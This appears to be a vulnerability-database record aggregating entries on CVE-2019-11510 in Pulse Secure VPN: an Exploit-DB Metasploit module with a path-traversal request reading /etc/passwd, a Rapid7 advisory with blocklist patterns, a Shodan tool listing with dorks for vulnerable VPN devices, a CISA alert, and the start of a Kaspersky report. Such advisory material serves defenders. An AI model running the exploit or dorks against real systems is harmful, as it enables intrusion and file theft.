"cpe:2.3:a:pulsesecure:pulse_connect_secure:9.0:r1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r9.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r7.0:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.3:r2.1:*:*:*:*:*:*", "cpe:2.3:a:pulsesecure:pulse_connect_secure:8.2:r8.0:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2022-08-16T06:09:12", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-08-21T00:00:00", "type": "exploitdb", "title": "Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2019-11510", "CVE-2019-11510"], "modified": "2019-08-21T00:00:00", "id": "EDB-ID:47297", "href": "https://www.exploit-db.com/exploits/47297", "sourceData": "# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)\r\n# Google Dork: inurl:/dana-na/ filetype:cgi\r\n# Date: 8/20/2019\r\n# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera\r\n# Vendor Homepage: https://pulsesecure.net\r\n# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\r\n# Tested on: Linux\r\n# CVE : CVE-2019-11510 \r\nrequire 'msf/core'\r\nclass MetasploitModule < Msf::Auxiliary\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\tinclude Msf::Post::File\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Pulse Secure - System file leak',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\tPulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.\r\n This exploit reads /etc/passwd as a proof of concept\r\n This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\r\n\t\t\t},\r\n\t\t\t'References' =>\r\n\t\t\t [\r\n\t\t\t [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]\r\n\t\t\t ],\r\n\t\t\t'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t 'DefaultOptions' =>\r\n\t\t {\r\n\t\t 'RPORT' => 443,\r\n\t\t 'SSL' => true\r\n\t\t },\r\n\t\t\t))\r\n\r\n\tend\r\n\r\n\r\n\tdef run()\r\n\t\tprint_good(\"Checking target...\")\r\n\t\tres = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)\r\n\r\n\t\tif res && res.code == 200\r\n\t\t\tprint_good(\"Target is Vulnerable!\")\r\n\t\t\tdata = res.body\r\n\t\t\tcurrent_host = datastore['RHOST']\r\n\t\t\tfilename = \"msf_sslwebsession_\"+current_host+\".bin\"\r\n\t\t\tFile.delete(filename) if File.exist?(filename)\r\n\t\t\tfile_local_write(filename, data)\r\n\t\t\tprint_good(\"Parsing file.......\")\r\n\t\t\tparse()\r\n\t\telse\r\n\t\t\tif(res && res.code == 404)\r\n\t\t\t\tprint_error(\"Target not Vulnerable\")\r\n\t\t\telse\r\n\t\t\t\tprint_error(\"Ooof, try again...\")\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\tdef parse()\r\n\t\tcurrent_host = datastore['RHOST']\r\n\r\n\t fileObj = File.new(\"msf_sslwebsession_\"+current_host+\".bin\", \"r\")\r\n\t words = 0\r\n\t while (line = fileObj.gets)\r\n\t \tprintable_data = line.gsub(/[^[:print:]]/, '.')\r\n\t \tarray_data = printable_data.scan(/.{1,60}/m)\r\n\t \tfor ar in array_data\r\n\t \t\tif ar != \"............................................................\"\r\n\t \t\t\tprint_good(ar)\r\n\t \t\tend\r\n\t \tend\r\n\t \t#print_good(printable_data)\r\n\r\n\t\tend\r\n\t\tfileObj.close\r\n\tend\r\nend", "sourceHref": "https://www.exploit-db.com/download/47297", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-04-21T20:51:08", "description": "\n\nOn Tuesday, April 20, 2021, security firm FireEye [published detailed analysis](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>) of multiple threat campaigns targeting Ivanti\u2019s Pulse Connect Secure VPN. According to FireEye\u2019s analysis, threat actors have been leveraging multiple techniques to bypass single- and multi-factor authentication on Pulse Secure VPN devices, establish persistence across updates, and maintain access via webshells. The focus of the analysis is on threats to U.S. defense networks, but Pulse Secure devices are also a [perennially popular target for exploitation](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>) across a broad range of organizations\u2019 networks.\n\nWhile some of the intrusions FireEye is tracking were attributed to exploitation of older Pulse Secure vulnerabilities, threat actors have evidently also been using [CVE-2021-22893](<https://attackerkb.com/topics/PqQGYGwWdM/cve-2021-22893>), a previously unknown zero-day vulnerability, in combination with older vulns to harvest credentials, move laterally within target environments, and persist using legitimate but modified Pulse Secure binaries and scripts on VPN appliances. For full findings of FireEye\u2019s investigation, including an extensive list of IOCs and ATT&CK techniques, we highly recommend reading their blog post [here](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>).\n\n## Actively exploited zero-day: CVE-2021-22893\n\nPulse Secure released [an out-of-band security advisory](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>) Tuesday on CVE-2021-22893, a critical authentication bypass that allows remote, unauthenticated attackers to execute arbitrary code. The vulnerability **affects versions 9.0R3 and higher** of Pulse Connect Secure devices and carries a CVSSv3 base score of 10. There is no patch available\u2014FireEye\u2019s post indicated a \u201cfinal\u201d patch will be released in May\u2014but Pulse Secure released a workaround (detailed below), and Ivanti\u2019s PSIRT released a [Pulse Connect Secure Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) that allows administrators to verify the PCS Image installed on Virtual or Hardware Appliances, check the integrity of the file system, and identify additional or modified files.\n\nAccording to [Pulse Secure\u2019s advisory](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>), older versions of Pulse Connect Secure are not affected by CVE-2021-22893, but it bears mentioning that those running older Pulse Secure devices may be affected by several other high-profile vulnerabilities that have seen broad, sustained exploitation over the past two years (e.g., [CVE-2019-11510](<https://attackerkb.com/topics/lx3Afd7fbJ/cve-2019-11510?referrer=blog>), [CVE-2019-11539](<https://attackerkb.com/topics/9xmWr9M5KE/cve-2019-11539?referrer=blog>)).\n\n## Guidance\n\nPulse Secure has issued a workaround in the form of an XML file that mitigates CVE-2021-22893 until a more permanent patch is available. Pulse Connect Secure customers should import the `Workaround-2104.xml` file, which blocks access to the Windows File Share Browser and Pulse Secure Collaboration features on the PCS appliance. According to the company\u2019s out-of-band advisory, they are using an existing blocklist feature to disable the URL-based attack. Rapid7 researchers were able to decrypt the blocklist\u2019s URI patterns, which are as follows:\n\n * `^/+dana/+meeting`\n * `^/+dana/+fb/+smb`\n * `^/+dana-cached/+fb/+smb`\n * `^/+dana-ws/+namedusers`\n * `^/+dana-ws/+metric`\n\nIn addition to applying the workaround, customers may want to block these patterns at their network perimeter (requires an inline load balancer capable of performing SSL decryption). Pulse Secure has since updated their advisory with the unencrypted patterns. Customers with shell access to their appliance may run the following command to confirm that the blocklist is in place:\n \n \n for i in {a..e}; do /home/bin/dsget \"/vc0/config/blacklists/patch_2104-$i/content\"; done\n \n\nPulse Connect Secure customers running versions 9.0R3 and up should apply the workaround immediately, without waiting for a regular patch or maintenance cycle to occur. We would also advise running [Ivanti\u2019s Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) to examine your Pulse Connect Secure images for files that may have been maliciously altered or added. Given the high likelihood of attacker-compromised credentials, organizations should also consider resetting passwords in their environment. Ivanti recommends reviewing the configuration to ensure no service accounts can be used to authenticate. For more information on Pulse Secure device configuration best practices, see the company\u2019s [knowledge base article here](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB29805/?kA1j0000000Fil5>).\n\n## Rapid7 customers\n\n[InsightVM](<https://www.rapid7.com/products/insightvm>) and [Nexpose](<https://www.rapid7.com/products/nexpose/>) customers can assess their exposure to CVE-2021-22893 with [authenticated vulnerability checks](<https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2021-22893/>) released on Tuesday, April 20, 2021. Please note that to ensure the highest degree of accuracy, this check requires [website form credentials](<https://docs.rapid7.com/insightvm/creating-a-logon-for-web-site-form-authentication/>) to authenticate to the `/admin` page of the Pulse Connect Secure server. Customers who aren\u2019t sure whether (or where) Pulse Connect Secure is present in their environment can use [Query Builder](<https://docs.rapid7.com/insightvm/query-builder/>) to search for network services or operating systems containing \u2018Pulse\u2019 in their name. The Scan Engine has some unauthenticated, versionless fingerprinting capabilities for Pulse Connect Secure that do not provide the accuracy needed for a vulnerability check, but may still give a sense of potential exposure.\n\n#### Not an InsightVM or Nexpose customer? Start a free trial to scan for this vulnerability.\n\n[Get Started](<https://www.rapid7.com/trial/insightvm>)", "cvss3": {}, "published": "2021-04-21T20:10:08", "type": "rapid7blog", "title": "Active Exploitation of Pulse Connect Secure Zero-Day (CVE-2021-22893)", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-11539", "CVE-2021-22893"], "modified": "2021-04-21T20:10:08", "id": "RAPID7BLOG:F4F1A7CFCF2440B1B23C1904402DDAF2", "href": "https://blog.rapid7.com/2021/04/21/active-exploitation-of-pulse-connect-secure-zero-day-cve-2021-22893/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kitploit": [{"lastseen": "2022-04-07T12:01:24", "description": "[](<https://blogger.googleusercontent.com/img/a/AVvXsEjG7AfpHcNjkzZMtvplE2bYVsPCgZ1wyo5jesct_CsGBPhciWCUWFhqC4SLSNboL7iPTWtI0RpGyHZQCbSylFXDC1py1fWqO3vCbpVdYDcHTRT2va2EUO1Vp9dPAgOP6FamNin8VZZdxS42vTbMMddcAUnuN5AAWWwfJDH2pfpmQhjA5RV51QbUk8BqJQ=s586>)\n\n \n\n\nA customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\n \n\n\nWith ShonyDanza, you can:\n\n * Obtain IPs based on search criteria\n * Automatically exclude honeypots from the results based on your pre-configured thresholds\n * Pre-configure all IP searches to filter on your specified net range(s)\n * Pre-configure search limits\n * Use build-a-search to craft searches with easy building blocks\n * Use stock searches and pre-configure your own stock searches\n * Check if IPs are known [malware](<https://www.kitploit.com/search/label/Malware> \"malware\" ) C2s\n * Get host and domain profiles\n * Scan on-demand\n * Find exploits\n * Get total counts for searches and exploits\n * Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\n## Installation\n\n`git clone https://github.com/fierceoj/ShonyDanza.git` \n\n\n> Requirements\n\n * python3\n * shodan library\n\n`cd ShonyDanza` \n`pip3 install -r requirements.txt`\n\n## Usage\n\n> Edit config.py to include your desired configurations \n`cd configs` \n`sudo nano config.py` \n\n\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 [console](<https://www.kitploit.com/search/label/Console> \"console\" ) [gateway](<https://www.kitploit.com/search/label/Gateway> \"gateway\" ) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' } #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' \">\n \n \n #config file for shonydanza searches \n \n #REQUIRED \n #maximum number of results that will be returned per search \n #default is 100 \n \n SEARCH_LIMIT = 100 \n \n \n #REQUIRED \n #IPs exceeding the honeyscore limit will not show up in IP results \n #scale is 0.0 to 1.0 \n #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results \n \n HONEYSCORE_LIMIT = 1.0 \n \n \n #REQUIRED - at least one key: value pair \n #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu \n #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries \n #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) \n \n STOCK_SEARCHES = { \n 'ANONYMOUS_FTP':'ftp anonymous ok', \n 'RDP':'port:3389 has_screenshot:true', \n 'OPEN_TELNET':'port:23 console gateway -password', \n 'APACHE_DIR_LIST':'http.title:\"Index of /\"', \n 'SPRING_BOOT':'http.favicon.hash:116323821', \n 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', \n 'DOCKER_API':'\"Docker Containers:\" port:2375', \n 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', \n 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', \n 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', \n 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', \n 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', \n 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' \n } \n \n \n #OPTIONAL \n #IP or cidr range constraint for searches that return list of IP addresses \n #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n \n #NET_RANGE = '0.0.0.0/0' \n \n\n> Run \n`cd ../` \n`python3 shonydanza.py` \n\n\nSee this [how-to article](<https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/> \"how-to article\" ) for additional usage instruction.\n\n## Legal Disclaimer\n\nThis project is made for educational and ethical [testing](<https://www.kitploit.com/search/label/Testing> \"testing\" ) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n \n \n\n\n**[Download ShonyDanza](<https://github.com/fierceoj/ShonyDanza> \"Download ShonyDanza\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-27T20:30:00", "type": "kitploit", "title": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-12-27T20:30:00", "id": "KITPLOIT:4707889613618662864", "href": "http://www.kitploit.com/2021/12/shonydanza-customizable-easy-to_01477721372.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:01:27", "description": "[](<https://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/s1600/ShonyDanza_1_shonydanza_demo-780791.gif>)\n\n \n\n\nA customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\n \n\n\nWith ShonyDanza, you can:\n\n * Obtain IPs based on search criteria\n * Automatically exclude honeypots from the results based on your pre-configured thresholds\n * Pre-configure all IP searches to filter on your specified net range(s)\n * Pre-configure search limits\n * Use build-a-search to craft searches with easy building blocks\n * Use stock searches and pre-configure your own stock searches\n * Check if IPs are known [malware](<https://www.kitploit.com/search/label/Malware> \"malware\" ) C2s\n * Get host and domain profiles\n * Scan on-demand\n * Find exploits\n * Get total counts for searches and exploits\n * Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\n## Installation\n\n`git clone https://github.com/fierceoj/ShonyDanza.git` \n\n\n> Requirements\n\n * python3\n * shodan library\n\n`cd ShonyDanza` \n`pip3 install -r requirements.txt`\n\n## Usage\n\n> Edit config.py to include your desired configurations \n`cd configs` \n`sudo nano config.py` \n\n \n \n #config file for shonydanza searches \n \n #REQUIRED \n #maximum number of results that will be returned per search \n #default is 100 \n \n SEARCH_LIMIT = 100 \n \n \n #REQUIRED \n #IPs exceeding the honeyscore limit will not show up in IP results \n #scale is 0.0 to 1.0 \n #adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results \n \n HONEYSCORE_LIMIT = 1.0 \n \n \n #REQUIRED - at least one key: value pair \n #add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu \n #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries \n #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510) \n \n STOCK_SEARCHES = { \n 'ANONYMOUS_FTP':'ftp anonymous ok', \n 'RDP':'port:3389 has_screenshot:true', \n 'OPEN_TELNET':'port:23 console gateway -password', \n 'APACHE_DIR_LIST':'http.title:\"Index of / \"', \n 'SPRING_BOOT':'http.favicon.hash:116323821', \n 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', \n 'DOCKER_API':'\"Docker Containers:\" port:2375', \n 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', \n 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', \n 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', \n 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', \n 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', \n 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' \n } \n \n \n #OPTIONAL \n #IP or cidr range constraint for searches that return list of IP addresses \n #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n \n #NET_RANGE = '0.0.0.0/0' \n \n\n> Run \n`cd ../` \n`python3 shonydanza.py` \n\n\nSee this [how-to article](<https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/> \"how-to article\" ) for additional usage instruction.\n\n## Legal Disclaimer\n\nThis project is made for educational and ethical [testing](<https://www.kitploit.com/search/label/Testing> \"testing\" ) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n \n \n\n\n**[Download ShonyDanza](<https://github.com/fierceoj/ShonyDanza> \"Download ShonyDanza\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-01T20:30:00", "type": "kitploit", "title": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-12-01T20:30:00", "id": "KITPLOIT:4421457840699592233", "href": "http://www.kitploit.com/2021/12/shonydanza-customizable-easy-to.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-09-29T18:14:37", "description": "CISA, the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) have released a [Joint Cybersecurity Advisory (CSA)](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>) on Russian Foreign Intelligence Service (SVR) actors scanning for and exploiting vulnerabilities to compromise U.S. and allied networks, including national security and government-related systems.\n\nSpecifically, SVR actors are targeting and exploiting the following vulnerabilities:\n\n * [CVE-2018-13379 Fortinet FortiGate VPN](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n * [CVE-2019-9670 Synacor Zimbra Collaboration Suite](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>)\n * [CVE-2019-11510 Pulse Secure Pulse Connect Secure VPN](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * [CVE-2019-19781 Citrix Application Delivery Controller and Gateway](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * [CVE-2020-4006 VMware Workspace ONE Access](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>)\n\nAdditionally the White House has released a [statement](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) formally attributing this activity and the SolarWinds supply chain compromise to SVR actors. CISA has updated the following products to reflect this attribution:\n\n * [Alert AA20-352A: APT Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations](<https://us-cert.cisa.gov/ncas/alerts/aa20-352a>)\n * [Alert AA21-008A: Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>)\n * [Alert AA21-077A: Detecting Post-Compromise Threat Activity Using the CHIRP IOC Detection Tool](<https://us-cert.cisa.gov/ncas/alerts/aa21-077a>)\n * [Malware Analysis Report AR21-039A: MAR-10318845-1.v1 - SUNBURST](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a>)\n * [Malware Analysis Report AR21-039B: MAR-10320115-1.v1 - TEARDROP](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b>)\n * Table: SolarWinds and Active Directory/M365 Compromise - Detecting APT Activity from Known TTPs\n * [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise web page](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * [Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise](<https://cyber.dhs.gov/ed/21-01/>)\n\nCISA strongly encourages users and administrators to review [Joint CSA: Russian SVR Targets U.S. and Allied Networks](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>) for SVR tactics, techniques, and procedures, as well as mitigation strategies.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/04/15/nsa-cisa-fbi-joint-advisory-russian-svr-targeting-us-and-allied>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-15T00:00:00", "type": "cisa", "title": "NSA-CISA-FBI Joint Advisory on Russian SVR Targeting U.S. and Allied Networks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-09-28T00:00:00", "id": "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/04/15/nsa-cisa-fbi-joint-advisory-russian-svr-targeting-us-and-allied", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2020-08-07T08:03:43", "description": "\n\n[ Download full report (PDF)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/06094905/Kaspersky_Incident-Response-Analyst_2020.pdf>)\n\nAs an incident response service provider, Kaspersky delivers a global service that results in global visibility of adversaries' cyber-incident tactics and techniques used in the wild. In this report, we share our teams' conclusions and analysis based on incident responses and statistics from 2019. As well as a range of highlights, this report will cover the affected industries, the most widespread attack tactics and techniques, how long it took to detect and stop adversaries after initial entry and the most exploited vulnerabilities. The report also provides some high-level recommendations on how to increase resilience to attacks.\n\nThe insights used in this report come from incident investigations by Kaspersky teams from around the world. The main digital forensic and incident response operations unit is called the Global Emergency Response Team (GERT) and includes experts in Europe, Latin America, North America, Russia and the Middle East. The work of the Computer Incidents Investigation Unit (CIIU) and the Global Research and Analysis Team (GReAT) are also included in this report.\n\n## Executive summary\n\nIn 2019, we noticed greater commitment among victims to understand the root causes of cyberattacks and improve the level of cybersecurity within their environments to reduce the probability of similar attacks taking place again in the future.\n\nAnalysis showed that less than a quarter of received requests turned out to be false positives, mostly after security tools issued alerts about suspicious files or activity. The majority of true positive incidents were triggered by the discovery of suspicious files, followed by encrypted files, suspicious activity and alerts from security tools.\n\nMost of the incident handling requests were received from the Middle East, Europe, the CIS and Latin America, from a wide spectrum of business sectors, including industrial, financial, government, telecoms, transportation and healthcare. Industrial businesses were the most affected by cyberattacks, with oil and gas companies leading the way. They were followed by financial institutions, dominated by banks, which bore the brunt of all money theft incidents in 2019. Ransomware's presence continued in 2019 and was felt most by government bodies, telecoms and IT companies in various regions.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05105355/sl_incident_response_01.png>)\n\n### 